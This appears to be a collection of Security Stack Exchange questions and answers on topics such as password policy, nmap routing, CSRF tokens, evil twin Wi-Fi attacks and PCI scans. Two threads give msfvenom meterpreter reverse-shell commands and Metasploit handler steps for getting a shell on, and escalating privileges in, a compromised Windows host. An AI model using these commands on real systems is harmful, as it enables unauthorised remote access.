This all reeks of a "we know better than you" mentality but other than that, what are the pros and cons?

There are two massive cons: attribution and liability. Although this is currently a reality in your company, this does not mean that it should continue.

All it will take is for someone with access to the password to do something negligent or malicious with someone else's account, and you will need to change this policy instantly. You will have no idea, or even a reasonable understanding, about who did the negligent or malicious thing, and all it will take is a user to say, "it wasn't me - it must have been someone in IT".

So, as you suspect, in your current reality, choosing passwords for your users should actually make your passwords stronger against the outside threats against those accounts. But for the inside threat, you have a gaping maw of risk.


Nmap scan slow on some IP ranges I'm a security newbie trying to scan a VPN in the range 10.0.0.0 - 10.0.15.254 using nmap on Kali Linux.

The routing table:

route -n

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         10.0.2.2        0.0.0.0         UG    100    0        0 eth0
10.0.0.0        192.168.0.1     255.255.255.0   UG    1      0        0 tun0
10.0.0.0        192.168.0.1     255.255.252.0   UG    0      0        0 tun0
10.0.2.0        192.168.0.1     255.255.255.0   UG    1      0        0 tun0
10.0.2.0        0.0.0.0         255.255.255.0   U     100    0        0 eth0
10.0.4.0        192.168.0.1     255.255.252.0   UG    0      0        0 tun0
192.168.0.0     0.0.0.0         255.255.255.0   U     0      0        0 tun0

I tried to scan the entire private network range at once but this caused nmap to quit after a period of time.

I then tried scanning blocks of 256 IP addresses at a time, beginning with

nmap -sS 10.0.0.0/24

Scans in the range 10.0.0.0 - 10.0.4.255 complete quickly, but scans in the range 10.0.5.0 - 10.0.15.254 are exponentially slower and usually do not complete.

Is there something about the routing of the network that is affecting this? Is there something I'm completely missing?

This route:

10.0.4.0        192.168.0.1     255.255.252.0   UG    0      0        0 tun0

With .252.0, you've got a range between 10.0.4.1 and 10.0.7.255
So when you hit IP's in 10.0.8.1, you'll start using your default route 0.0.0.0 which is a different gateway.

Check me to be sure, but based on that bitmask, I think that's what you're seeing.

http://www.ip-tools.net/ipcalc

Might double-check me though.


Can connecting to a remote Windows Server infect via RDP infect my home pc? I am connecting from my home pc to Windows Server via RDP.

Theoretically speaking, if the remote server is compromised, can it somehow automatically infect my home pc?

No file transfers, only clipboard sharing, default RDP options.

Short answer - highly unlikely, but not impossible.

It depends on the infection vector of the virus. The virus can only spread if it is able to run code on your home pc.

If it uses a vulnerability to spread (e.g. like a worm), your home pc must expose this vulnerability to the infected system. Based on your description, you are worried, that the infection takes place specifically over the RDP protocol. In this case the RDP client on your home pc must be vulnerable. If your software is up to date, there is currently no such vulnerability known in the RDP client. You always have a residual risk of a 0-day vulnerability, but I would consider it highly unlikely that a virus is using such a 0-day and no one has identified this behavior yet.

The second infection vector is actually transferring virus code to your home pc via RDP and running it locally. This could happen for example, if you copy the malicious code and either run it yourself or it gets executed somehow by your operating system. Therefore, if you copy something malicious via clipboard sharing to your system, be careful how you treat the data you receive that way. Since you do not specify what you actually want to do over RDP (e.g. salvage some important data from the infected system), it is hard to say how risky your activities will be. If you copy data from the system, be sure you know what you are doing.

I recommend using a throw-away operating system to access the infected machine, if you really have to. Something like an isolated virtual machine that you delete afterwards or an OS that you are willing to wipe after you are done.


Retrieve anonymous credentials Background

A registration process to acquire an anonymous, verified account goes like this:

Registrant provides proof of individuality to a Registrar.
Registrar verifies proof, ensures no prior registration, and directs Registrant to a Teller.
Teller provides Registrant with anonymous account credentials.

At this point, the Registrant has an account, and only one account. The Registrant hereinafter is a Registered User (simply, User).

Problem

A User can lose (accidentally, or deliberately) their anonymous credentials.

Question

How can:

the anonymity of a User's account remain cryptographically secure (even to third-parties who have complete database and source code access), such that discovering either the anonymous account or the registration credentials will not reveal that they belong to the same individual;
registration of duplicate accounts be prevented; and
a User retrieve their lost (or misplaced) account credentials, and only theirs?

I thought homomorphic encryption might be useful here, but I've read it is currently too computationally intensive.

Related

Related questions:

Is the concept of Authenticated Anonymity possible?

(If this would be better suited for Crypto SE, please migrate it.)

The registrar verifies the identity of the user (in a comment you said that the user is not anonymous towards the registrar). Identification means that each user has some kind of unique identifier. That could be their social security number, their real name + birthday + birthplace or something like that. The registrar uses a cryptographically secure hash function to create a hash from that identifier + a secret pepper only known to the registrar.
The registrar signs the hash with its private key to proof that they generated that hash. Then they give the hash + signature to the user
The user presents hash + signature to the teller. The teller checks that the signature is valid using the registrars public key. Then they use the hash plus another secret pepper only known to the teller as input to create another cryptographically secure hash and then derive the users credentials from that hash.

Retrieving lost credentials

Should the user lose their credentials, they repeat the procedure. Their personal information won't have changed, so the hash by the registrar will be the same as before which means the credentials generated by the teller based on the hash will also be the same.

Possible attack vectors

The largest possible attack vector on this system would be a malicious registrar. When the registrar is evil, they could generate an infinite number of bogus hashes and present them to the teller to generate an infinite number of anonymous identities. Or they could give them the hash of a known identity to obtain the credentials of that user. When the teller knows the registrar, the registrar could still do this by conspiring with another person unknown to the teller and use that person as a proxy. However, you already trust the registrar to identify your users personally, so you must place a very large amount of trust in them anyway.

The abuse potential could be reduced (but not completely removed) by having multiple registrars and require a signature from multiple ones. That way multiple registrars need to conspire to break the system.


Security implications of using Bash script as a SSH login shell I have a fairly simple monitoring implementation, let's say that the monitoring server connects to a target through SSH via key authentication, and fetches information according to a script set up as a login shell for the monitoring user.

ie. monitoring ---ssh---> target ---login-shell---> script argument

A sample login shell script could be as follows:

#!/bin/bash
if [ "$2" = "hello" ]; then
        echo "$(free -m)"
fi

And the data could be fetched as below:

[root@run ~]# ssh -i sshkey testuser@target hello
              total        used        free      shared  buff/cache   available
Mem:          15857        3086        1376         832       11394       11539
Swap:         16127           0       16127

testuser would have the bash script set as it's login shell:

testuser:x:1006:1007::/home/testuser:/home/testuser/init

Are there any obvious security problems with such an implementation? If presently not, what do I need to consider when expanding this to include more functionality?

This looks okay to me for now.

As you are passing arguments to the script, remember that you need to not pass the arguments directly into the executed statements, at least not if you not desire the monitoring machine/user to have an actual shell on the system.


How to deal with "confirmation" email for account you didn't set up? I just got an email starting with:

  Welcome to Medix!  You can access your account at https://medixteam.bbo.bullhornstaffing.com/ and log in with your credentials as follows.

They then told me my credential were my email address, along with a temporary password they made me.

The thing is, I've never heard of Medix before. Apparently it's a company that does exist in my city, but I feel I'm being targeted for something malicious. Rather than click the link, I googled the words in it and found that the link is genuine, but it take you to a kinda sketchy looking login portal. What's more, the actual Medix page doesn't end with bullhornstaffing.com. There is a site which ends with this domain (without the medixteam.bbo.), but it's also a little sketchy looking.

Since they've given me a temporary password, I'm guessing they're pretending to actually be Medix, and they're waiting for me to update my password. Most users would use the same password as their email account, and it's game over from there.

I am not going to do this. Honestly, I'd rather just delete this email and move on, but does an email like this have implications that someone else may be attempting to impersonate me? I had similar trouble a while ago where I'd get emails confirming someone was trying to change the password on an old BattleNet account I'd not used in years. While I didn't really care if the account got hacked, I didn't want to leak any personal information that could compromise my email. Am I at a similar risk here?

Since I've never interacted with Medix before, I assume the only way I risk personal information is to interact with this email, but I don't know if there's something else I should do to protect myself than just delete the email.

For you personally, ignore it.

You may want to notify Medix that people are pulling these scams, but there is nothing technical or legal that Medix can do against it. You would only do them the favor of being informed (if not already) so that e.g. their support people know these are doing the rounds (if this campaign is large enough, they will get calls).


Detecting Malware in the android App I've been given an APK file, and before re-distributing to the "market" I want to make sure the given android app does not contain the malware. How can I do that ?

Business use case is similar like : I am a "market provider" or :"reseller" to which developers will submit the developed apps. To guard my reputation : I want to ensure that before I put the application in "my market", the app. is virus/malware free!

Is there any third party service, which can be used to identify if the app. contains a malware ? If not how I create this service/verification program to check the same ?

Thanks in advance.
-JE

It depends on budget and contract with your provider how far you will be able to go. You can try and use automated scanners like apkscan.

Another possibility, which will be a lot more thorough (and a lot more expensive), is to hire specialized security companies who can either perform a source code review of the application (and you will have to compile the APK yourself from the reviewed source code). If your provider does not want to give you the source code then you could request your security consultants to reverse engineer and review the provided APK. (but there might be difficulties here as well)


Is It OK If a Server Does Not Verify a Certificate? I am currently learning a LOT about Azure, Azure Active Directory, and Azure Key Vault (AKV).

To start with, please see this article:

In particular, I am interested in this statement:

When designing an application, keep the following points about management certificates in mind:

The Service Management API does not verify that a certificate is still valid. Authentication will succeed against an expired certificate.

At first glance, this strikes me as peculiar and even a little odd.  I am but a security newb, however, and am looking for some clarification and insight here.

Additionally, it also appears that the same is happening with certificate connections to Azure Key Vault.  That is, I can upload an untrusted (but self-signed) certificate to the AKV service, and while I do not have to verify the certificate on the client-side (seen below), I can make a call with that same certificate to the server and it will return data accordingly.

For some code, here is a snippet from this article.

public static class CertificateHelper
{
    public static X509Certificate2 FindCertificateByThumbprint(string findValue)
    {
        X509Store store = new X509Store(StoreName.My, StoreLocation.CurrentUser);
        try
        {
            store.Open(OpenFlags.ReadOnly);
            X509Certificate2Collection col = store.Certificates.Find(X509FindType.FindByThumbprint,
                findValue, false); // Don't validate certs, since the test root isn't installed.
            if (col == null || col.Count == 0)
                return null;
            return col[0];
        }
        finally
        {
            store.Close();
        }
    }
}

You can see that the false is passed into the Find method so that it does not verify the certificate (on the client side).  This makes sense so far (for testing purposes), but this unverified certificate can then be used to retrieve data from the Azure Key Vault (where the certificate does not appear to be verified on the server).  It is also worth noting that this certificate is self-signed and has not been added to any trusted publisher or root authority on the client (so it does fail if you pass in true to the Find method above), nor has it been added to any store on the server (to my knowledge).  One thought is that it could be added to a trusted store on the server, but I have not seen any documentation on this.

So, I wanted to ask this question here to see if this is considered an appropriate (and safe/secure) policy to not verify a certificate on the server, and if so, why?  It would seem to me the whole reason to have a certificate is to verify it on both the client and server side.

Thank you in advance for any clarification.

EDIT: Solution

After @Mky's helpful answer I am editing/appending this question with corrections to my own understanding.

First, my understanding above is incorrect in the 2nd part of the question.  The certificates are not uploaded to AKV, but to Azure Active Directory.  Because of this, AAD serves as the point of security and authentication.  AKV takes the client request that has the certificate attached to it and then authenticates with that certificate to AAD.

Furthermore, in this entire process, the private key is used during the authentication process from the calling client (client/web application) to sign a serialized and encoded message created from the certificate credential.  So, even though the certificate might not be valid/verified from the client's certificate store, it must still have the private key installed from which the certificate was used to create.  Hope that makes sense.  I for one feel like my head is spinning from all of this!

It is indeed mandatory to verify the certificate of the person you are talking to.

However, it makes no sense for the server to verify it's own certificate. It would be like you verifying your home key still opens your door or if you did changed the locks. In normal operations, you should already know this.

Checking the certificate of the server server-side is only useful to alert you on maintenance work that has to be done. After this, you make an informed decision to present the certificate you want. You risk the client not authenticating you and refusing communicating (what should be his normal behaviour with incorrect certificate being provided).


Are online password managers secure? Can online password managers be used for storing and managing passwords? I mean from the security point of view. I understand that those systems can be different and some deserves more trust than the other, but what I mean is the whole idea of public service for storing personal passwords. Is it viable in its essence?

About a year ago I signed up for one such service (Passpack). It seems reliable and professional, but I am still afraid  to start really using it and upload my numerous passwords there. And it's not because I'm not willing to upgrade to paid account; I'm just very careful and doubtful. Am I wrong?

If you're asking in theory, can such a system be built securely?
My answer would be yes, absolutely, but it's not trivial work - and most likely would be done wrong (depending on who designed and built it).

If you're asking about existing services, while I'm not familiar with the one you mentioned, in general I don't know of any good, reliable, secure systems for this.

If you're asking, how can I tell if a specific system is secure and reliable?, well, ya can't.
Unless you (or an expert you trust, and is proficient enough in the given technology) performed an in-depth code review, penetration test, and other security reviews. And periodic deployment and server examinations. And so forth...

And no, getting a 3rd party certification such as HackerSafe (not even PCI:DSS) is not good enough, not for you to entrust the keys to your most sensitive data. (Unless its a service you know well enough to trust).


How is it possible that anonymous members still post on Twitter but aren't busted? Possible Duplicate:
  Why is it difficult to catch "Anonymous" or "Lulzsec" (groups)?

I think that something that Anonymous & other hacking groups do, is illegal and they should be arrested.

My question is - why can't FBI or IT police just get data from Twitter and trace their location? (I've chosen Twitter because they usually post there)

The bits that need to fall into place are:

the LEOs need to be able to subpoena that information from Twitter (that bit's easy if you're talking about the FBI, they're in the same country as Twitter and have the right to get that subpoena)
Twitter needs to have stored the relevant information (they probably do, at least, log what address any tweet was posted from, and its location is available when users opt in to that)
the LEOs needs to be able to make use of the information. This is where it starts to fall down. What if the computer that communicated with Twitter was a Tor exit node, a proxy in the Ukraine or a compromised high school desktop in South Korea? The problem has been pushed back a level: the LEOs now need to go to the next service and try and match an individual to the information they have. If that's an ISP in the same country, this is possible but time-consuming. If it's a foreign or international organisation they might not have the ability.

By the way, whether you think such activities are illegal is not as relevant as whether the law specifically proscribes them. My understanding of U.S. Law (and I'm no expert) is that AnonOps have broken some computer misuse laws.


How does Replay attack works on SSL/TLS authentication? In security+ 401 cert guide there is a line about replay attack as follows,

  In a replay attack
  a hacker might use a packet sniffer to intercept data and retransmit it later. In this way the hacker can impersonate the entity that originally sent the data. For example,if customers were to log in to a banking website with their credentials while an attacker was watching, the attacker could possibly sniff out the packets that include the usernames and passwords and then possibly connect with those credentials later on. Of course, if the bank uses SSL or TLS to secure login sessions, then the
  hacker would have to decrypt the data as well, which could prove more difficult.

According to this reply attack in case of SSL/TLS authentication is difficult but possible. My question is then how it works?

According to this reply attack in case of SSL/TLS authentication is difficult but possible. My question is then how it works?

According to the statement you cite replaying is possible if the attacker manages to decrypt the SSL/TLS traffic. In my opinion this should not be read as the attacker  replaying the original SSL/TLS traffic but instead the attacker is creating a new SSL/TLS connection and encrypting the original (not encrypted) data inside this connection and sending these to the server. Thus, it is not a replay attack against SSL/TLS since it counts on having the plain (not encrypted) data in the first place.

There are several ways to get to the plain data when SSL/TLS is used but all of these involve somehow compromising client or server or relying on security vulnerabilities in these. This could for example be an active man in the middle attack, a compromise of the server certificate or a compromise of server or client.

Thus in summary: replay attacks against SSL/TLS are not possible and this is also not claimed in the text you cite. The text instead talks about having the original plain (not encrypted) data and sending these inside a new SSL/TLS connection - but this is not a replay at the SSL/TLS level. As for why replaying SSL/TLS is not possible see Are SSL encrypted requests vulnerable to Replay Attacks?.


Need a session ID to make a privilege escalation MSF module works I have a limited shell on a machine and I would like to use a Metasploit module to escalate privileges. Problem: I did not get the limited shell with a metasploit module, and the metasploit module for escalation asks for a session ID.

So my question is: how can I turn my limited shell (which I get without metasploit) into a metasploit session ?

You can generate an platform specific executable with msfvenom. For example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<yourport> -f exe > meter.exe

You bring that exe to the target through your limited shell. Then you start a listener in metasploit:

use exploit/handler/multi (or exploit/multi/handler, don't remember)
set payload windows/meterpreter/reverse_tcp (needs to be the same as above)
set LHOST <your ip>
set LPORT <your port> (these 2 need to be the same as above)
run

and after that you start the exe on the target. Then you should get a meterpreter session. Let me know if it still doesn't work.


What is the best practice for giving Oracle DB credentials to a Java Application? I have Java applications (using Spring running in Jetty Servlet containers) that need to access an Oracle database. What is the best practice for giving the DB credentials to the applications?

I came across Hashicorp Vault's MySQL backend. I like this approach as it keeps the credentials secure and it keeps creating new short-lived ones, so even if one gets compromised it's value is limited. Are there similar approaches for Oracle?

The standard that I've seen is simply use file system permissions - to do so, you need to ensure that the application is running as a dedicated user - that no other application uses that user; that access to that user is restricted similarly; and that the appropriate config files that contain secrets are restricted to just that user - no group or other permissions at all.

Beyond hardware based authentication storage systems, most other schemes simply end up moving the secret that needs to be stored (example, some people suggest encrypting the information - the secret that then needs to be protected becomes the encryption key/initialization vector).  Ultimately, SOMETHING needs to grant the access - and there's nothing fundamentally wrong with OS file system permissions.


Do I need an ASV to come out when going for an SAQ? Our company is going for a SAQ, under PCI DSS 3.1.

Do we need to pay a vendor to come out and do an on site scan, or can we use something like Nessus to do the scan on our own?

Only the external scan requires an ASV:

PCI 3.1 states:

  11.2.2 Perform quarterly external vulnerability scans, via an Approved Scanning Vendor (ASV) approved by the Payment Card Industry Security
  Standards Council (PCI SSC). Perform rescans as needed, until passing
  scans are achieved.

It is only on internal scans where you can run a tool such as Nessus (em mine):

  11.2.1 Perform quarterly internal vulnerability scans and rescans as needed, until all “high-risk” vulnerabilities (as identified in
  Requirement 6.1) are resolved. Scans must be performed by qualified
  personnel.

  verify that the scan was performed by a qualified internal resource(s)
  or qualified external third party, and if applicable, organizational
  independence of the tester exists (not required to be a QSA or ASV)

The external test does not require anyone "coming out". You can simply use an automated service such as Hacker Guardian which will satisfy the scan being done by an ASV.


BCrypt+SHA256 vs PBKDF2-SHA256 From this question, the OP posited taking a user's entered password, running it through BCrypt, then running that through SHA256 to produce a 256-bit password-derived key. (EDIT: To clarify, these two options are considered as producing a single key value; the "intermediate" BCrypt hash's sole purpose is to be hashed with SHA-256 and is not used for any other purpose). The obvious alternative is to simply plug HMAC-SHA256 in as the PRNG for the PBKDF2 algorithm shell, with an equivalent number of rounds of derivation.

The question is, what are the relative strengths and weaknesses here? Obviously, both approaches, properly implemented and configured, would present a significant proof of work to an attacker. The BCrypt+SHA256 combination looks a bit more complex, but if you have ready-made implementations of these two and would have to roll your own PBKDF2 implementation (the PBKDF2 built into .NET is hardcoded to use SHA1, not SHA256), the first option would end up simpler. I see one advantage to PBKDF2 when implemented with a 256-bit HMAC; The actual BCrypt hash is only 192 bits, so that, and not 256 bits, is the maximum amount of entropy inherent in the BCrypt+SHA256 combo instead of a true maximum of 256 bits with PBKDF2-SHA256. BCrypt+SHA256 would still be better than the 160-bit Rfc2898DeriveBytes implementation of PBKDF2 in .NET, and even 128 bits, produced by truncating or XOR-folding any of the above hashes, is plenty secure enough with a good AES AEAD mode.

Opinions?

Simply hashing the BCrypt digest with SHA-256 will trivially expose encryption keys if your password database is compromised. Using the PBKDF2 of the password itself for encryption keys prevents this.

Of course, there are drawbacks. With the described scheme, the server can perform cryptographic operations with the user's key at any time, which may be desirable or necessary. When the PBKDF2 of the user's password is used, the server can't regenerate this key without the user providing his/her password.


Can key files be brute-forced like passwords? Let's say you use a program like Truecrypt or Keepass which allows you to have a password + key file. I understand that passwords can be brute-forced/dictionary-attacked but is the same true for key files?

Yes, it is the same: keyfiles can be brute-forced.

A key file is like typing your password and storing it somewhere, instead of typing it everytime.

To the program (in your example, TrueCrypt), passwords and keyfiles and every other information is used to feed the encrypt / decrypt algorithm. It doesn't matter where the information comes from. To break the encrypt, one needs to perform the corresponding decrypt step using the same information that was used in the encryption. If it was a password, a password + keyfile, or a password + keyfile + a number that comes from a device that reads fingerprints, it's the same thing.

Keyfiles, in general, make it more secure because they use all the possible bytes inside it, so you have 256 combinations for each "character" inside the keyfile. When someone chooses a password, in general uses just letters, numbers and some symbols. The entropy provided by the key file is, usually, bigger.


How CDN operator will decide content fo me if i am using google public DNS As i saw most of the internet is being load balanced even at DNS . And DNS load balancers takes decision on behalf of client's DNS . So I Am just curious to know if i will use 8.8.8.8 as nameserver in my ubuntu 12.04 box then what will be my location for the internet. Will my ISP's provided dns not be of any use. And Most importatntly is there be problem with CDN to know my location As my DNS will be geographicaly in somewhere in US always.

Your question is not exactly very clear so I'll take a stab in the dark and try to interpret your question.

What DNS server you use has no bearing on your "location". That is entirely dependent on your public IP address. If you are using a home broadband, it is very likely that you will be using a public IP address shared with many other people through NAT.


How about preventing CSRF this way? According to Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet , the recommended solution to protect web site from CSRF attacking is to implement Synchronizer Token Pattern. And This requires the token to be random or unique.

And recently, we are trying to apply this to our web site. And one of my colleges wants to generate the token by encrypting the current sign-in user's id concatenating a timestamps with a safely kept password. And then append the token into the form.

When user sign in, we set a logged-in user id cookie under our site domain and the root path /. So if we can find this special cookie, then we get the logged-in user's id.

When we get the token, we try to decrypt it to get an user id and an timestamps. We then compare the user id with the current sign-in user's id and use the timestamps to check if the token timeouts.

So I want to know if this works and what's the pros and cons?

The reason why we try to do this is that we try to avoid sessions. Some frameworks like Struts2 have build-in implementations based on sessions.

This is probably a bad mechanism, since it violates Kerckhoff's principle. If an attacker knows how your "encryption" works, he can just encrypt his own CSRF blob for a specific user and use it in targeted attacks.

CSRF leverages the fact that your browser will send a cookie containing a session ID that authenticates you to the server, even if the request is generated by an automated script. In order to protect yourself against this, you just need to require a token that is unknown to an attacker, and that is not automatically sent by the browser without direct instruction. The standard way to do this is to generate a random value, known as a CSRF token, and add it to the parameters of a POST request. As long as the target script verifies the CSRF token somehow, you're protected.

The simplest way to do this is to generate a random CSRF token when the session starts, and store it as a session variable. It can then be injected into forms that require CSRF protection, and checked by the target script.

Adding any "extras" to this scheme, like encryption / timestamps is snakeoil - i.e. it provides no real security and complicates the scheme, which results in a potentially greater attack surface. Remember: don't be a Dave!


Is there a difference between GET and POST for web application security? I have 2 choices in sending data between 2 web applications.

I encode the data in Base64 and append to the URL and retrieve these parameters at my destination application and decode the parameters.

For eg., http:/myDomain/someCode/pages/somePage.jsf?pin=MzAwMDY3MDI2OQ
Send the parameters as hidden values from application1 to application2.

String res=(String)request.getAttribute("paramValue");
document.myForm.action='myDestinationURL';
document.myForm.method="POST";
document.myForm.submit();

<form name="myForm" method="post">
<input type="hidden" name="paramValue" value="<%=res%>" />

In Choice 1, one can know the parameters that am sending and my Encoding technique. In choice 2, one can view the data that am sending by doing a view source easily.

Apart from above things, what possible ways exist for an intruder to know my system better? And which option is more suitable in general for a developer? Choice 1 or Choice 2?

Option 1 may introduce a number of non-security related issues anyway:

The resulting URL may be cached by the browser, or bookmarked, causing users to resubmit.
The resulting URL may be shared by users, causing third parties to submit.
The URL may be sent to your browser vendor, who may hit the site.

But this is about security, and it introduces a few risks not present in option 2:

The URL with its parameter may end up in the proxy logs of everything along the way, revealing your data.
Your decode function is now an additional attack vector. (Does it handle unicode correctly? Does it have length restrictions?)
You may be tempted to think of your encoded string as somehow secure, when it's just security through obscurity (and not very much obscurity), or perhaps more appropriately, security theatre.

That said though; they are otherwise largely equivalent in the security they offer. They both submit plain text data in the HTTP header, and base64 isn't exactly rocket science (and you can base64 encode your POST version).

Neither offers any meaningful protection for your data.

If it's information you don't want the user to see; why are you sending it to the user to begin with? Consider the architecture you're using and see if there's a way to simply remove the risk entirely by not handling that information on the client side.

So, to answer the question: with regards to sending data - both reveal the same information to an attacker; choose whichever option is more appropriate for the situation (this Treehouse blog post may help with that), but you should not rely on either method to actually protect anything.


Preventing evil twin WiFi attacks on embedded systems I've recently been looking at a few of the low-end WiFi modules used in IoT devices, such as the TLGUA06 and ESP2866.

As expected, it's possible to deauthenticate these devices by sending a deauthentication frame. This is as per the WiFi specifications.

However, both of these devices will re-join an open network with the same ESSID. There is no requirement to clone the MAC of the AP or anything.

This obviously leads to evil twin attacks. Combined with the common use of insecure protocols, an attacker can easily intercept or MITM communications.

OSX complains when you try this attack, as do many versions of Windows. My iPhone complains, but my Android phone doesn't.

Why do these devices not protect against evil twin attacks? I understand this may be a trade-off between security and reliability, but there are no settings or controls that would allow a manufacturer to chose to make a more secure system.

Have I missed another reason as to why these attacks are possible?

What strategies can be used to protect against evil twin attacks?

There are two parts to this answer.

Most browsers and mobile OS's will have a CA store with dozens of CA companies and hundreds of certs with which to validate TLS against. Evil Twin attacks rely on you not caching which requests need TLS with which certs so you can MitM to pass a request with no cert instead. This list gets updated with time but is pretty hefty for a lightweight embedded system.

IoT Platforms such as Electric Imp instead use a dedicated encryption coprocessor with secure storage like the ATSHA204 or other TPM2 style chip. All requests are routed through a known gateway (such as Electric Imp's Amazon Bucket) with a known key before going out to the wider Internet. (I believe Kindle also does this with their "Experimental" Browser). If the handshake fails the connection is dropped. Depending on how this is done the server side may be able to detect evidence of malfeasance and report misbehavior to the user as you suggest. The key stored on the device may be unique per every instance of the hardware and is associated/blessed at the factory before it ships out to the consumer.

You are essentially trading an evil twin for a trusted parent that brokers all your communication.

All outbound communications go through one known endpoint against which validation is simpler. That endpoint can then take more sophisticated requests to external resources. For low bandwidth requests it's simple and suitable for a lot of current IoT applications.

The appropriateness of this model depends on your application. If you are the weather channel and you are making a device that changes color based on weather temperature there are few concerns.

If your device reads your customers email outloud as it comes in (such as found in BMW cars) there are big concerns with you touching that data. Nokia got into trouble with this a few years back.


How to prevent malicious file uploads to a site Recently a couple of sites we had built have been used to send a tonne of spam emails. We aren't security experts, but with some research believe that it may be some kind of PHP Injection taking place. We managed to remove the infected files from the site/s and have implemented extra software to manage the security better - however, attacks are still being attempted and we aren't sure which file it is that is vulnerable.

We have the following report from one of our plugins (it's a WordPress site), which shows multiple attempts to traverse the directory and upload malicious files. Our worry is that without this plugin the culprit would have had easy access to carry out said attacks - but the scan shows directory's that do not exist?

I guess my question is this: what is it the attacker is doing (in terms of the hack) and why is it showing directories that do not exist? The end goal is to re-factor the code to deminish the apparant exploit - when we know which file it is...

Apologies if this is a bad question or is in the wrong section - I am new to Stack Exchange but am in desperate need of some security expertise!

We have the following report from one of our plugins (it's a WordPress site), which shows multiple attempts to traverse the directory and upload malicious files. Our worry is that without this plugin the culprit would have had easy access to carry out said attacks - but the scan shows directory's that do not exist?

Because the plugin doesn't say - and can't really say - if the attack was successful. It can only say that it did take place.

These look like automated scans for known vulnerabilities. The path traversal test for example is for a vulnerability in wp-ecommerce-shop-styling v2.5.

If you are worried about the attacks, you can follow up on the reports. Check if you have the named plugins installed, and if so, if there are publicly known vulnerabilities for the version you have. You could also visit the link and check if the attack is successful (but first check what the link actually does; You do not want to accidentally trigger an XSS attack for example). Note though that most successful attacks can delete logs, so just because you do not find a successful attack does not necessarily mean that there was none.


Is there any risk in placing a scan of a diploma online? I wonder whether there is any risk in placing a scan of one's diploma online.

Not particularly.

The diploma itself isn't supposed to be a secure document, and is given to people to post on walls, not to present as verification of a degree.  A quick google image search reveals that many, many people have posted copies of their diploma's on the internet, so it's not like this would be a rare commodity.  Degree verification is done directly through the college/university, not through diplomas.

As long as you're comfortable revealing personal details of your life to everyone, I see no reason not to post a diploma.  Keep in mind that posting personal details about yourself makes you a bit more vulnerable to Con-men who can try to convince you to trust them based on this.  i.e. casually mentioning they went to the same school and got the same degree as you just a few years before/after you did.


How to whitelist an IP, but prevent others from DoS attacks I've a Windows Server 2016 and I want to allow unlimited incoming requests from some specific IPs, but prevent others from DoS attacks.

I see RDP Defender but I'm not sure how good or safe it is to use.
How to whitelist some IPs and prevent others from DoS and other attacks? (preferably using Windows Server or Plesk)

Thanks.

If you white list the IPs that you trust, that implies every other IP except those are blocked. That will effectively prevent other IPs from DOS attacks. The assumption of course is that the firewall configuration is not erroneous and/or the firewall itself is considered "secure" by any reasonable standards.

Where a tool like RDP Defender comes in to add value, is when you can't know the specific IPs that should be using your service and thus cannot white list them, and/or you don't want to assume those IPs are trustworthy.

RDP Defender, and tools like it, allow you to open up your services to IP's and then it looks for behavior patterns from those IPs and blacklists based on behavior criteria.

It is worth pointing out that, according to RDP Defender's site, this tool works by monitoring for failed login attempts and then leverages windows firewall to put rule(s) in place to block traffic from those IPs. This is important to think about for several reasons:

1) DOS/DDOS attacks don't necessarily leverage logon attempts, and thus will go undetected and unblocked.

2) The defense of blocking the IPs where suspicious traffic is generated, in itself, can be used as the attack method for DOS. If an attacker can embed itself into something a lot of people use, when that attack launches it will be coming from a lot of IP addresses. If your defense is to block each of those source IPs, some of those IPs might be valid customers of your service which are getting shut off. If your defense is to block entire sub nets, that will certainly have the potential to shut off a lot of IPs not trying to do harm. Lastly, if the attacker spoofs IP address, then they can target to make you shut down IPs as they wish.

Disclaimer - I never recommend that someone put a server onto the public Internet (especially Windows) without the expertise of someone who knows all the intricacies involved. Your best case scenario is a very hardened system that is as protected as is possible considering the nature of the services it has to provide to the public Internet, but still vulnerable in ways which you know and your business have assessed and decided risk accept. Your worst case scenario is thinking your server is well hardened and protected, but isn't and you find that out in a way that costs the business huge amounts of lost revenue, fines, legal liabilities, and/or impact to reputation. Moreover, even if the security is very effective at time of deploy, it is not untypical for that security to fade as time goes by -- so there is an ongoing operational aspect to think about.

My answer is not intended to do anything more than help you think about this.


SSL Client Certificate authentication Is it possible to make a program which uses client certificate authentication with only public and private key (I have not generated any certificate, I have only public and private key).

Simply, I want to make authentication on server with client certificate authentication. But it is hard to make client certificate programmatically.

I want to make client certificate authentication with only public and private key (I have only public and private key, no certificate).

It is possible to send server public key instead of client certificate for client certificate authentication ?

Certificates are just the public key with some added context. The name of the key, signatures, usage guidelines, etc. SSL/TLS depends on that context. Otherwise the host you're connecting to won't know whether the key genuinely belongs to you or not. The SSL trust mechanism is built on the concept of explicitly trusted certificates and then the implicitly trusted certificates that they sign.

But if you're not using SSL or TLS, then encryption can still happen without it, but trust has to happen a different way. SSH is a good example of this: SSH still uses public and private keys, but since there is no hierarchy of signatures, the added information that certificates provide wouldn't be useful, so the key is sent bare. Instead, the client asks you whether or not to trust the server's public key the first time it connects, and every time thereafter checks to see if the public key matches what it saw last time.  This can happen because SSH does not use SSL or TLS for its encryption.

But if you're using the SSL protocol, the protocol dictates that the public key must be presented with the added context of the certificate. That is, the certificate is the container that the public key must be placed in for SSL to use it.

If you have the private key, it's trivial to create a self-signed certificate using a tool like OpenSSL.


Connect msfvenom reverse shell without metasploit For most reverse shell here, I can simply use netcat to connect:
nc -nlvp 1234

But for reverse shell created by msfvenom, for example:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f aspx

I CANNOT use netcat to connect.
Instead, use msfconsole to connect:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

Question:
Why netcat is NOT working here?
To connect reverse shell created by msfvenom, any other way than metasploit?

Why netcat is NOT working here?
To connect reverse shell created by msfvenom, any other way than
metasploit?

That's because you are generating a fully fledged meterpreter payload and using that is extremely different from a simple reverse shell. A simple reverse shell is a just a textual access to the cmd/bash but a fully fledged meterpreter payload contains not just shell access but also all kinds of other commands sending and receiving. In simple terms netcat cannot interact on a text basis with meterpreter. You could use the shell_reverse_tcp payload instead of meterpreter and then receive a connect back to netcat but not with meterpreter/reverse_tcp.


One way authentication vs two-way authentication I'm studying for the Network+ exam and wanted to understand the difference between one-way authentication and two-way authentication.

I've tried searching to no avail. It seems when I search for it the results return 2FA and single-factor authentication. Are single-factor authentication and one-way authentication the same thing? Ditto for 2FA.

What is Mutual Authentication?

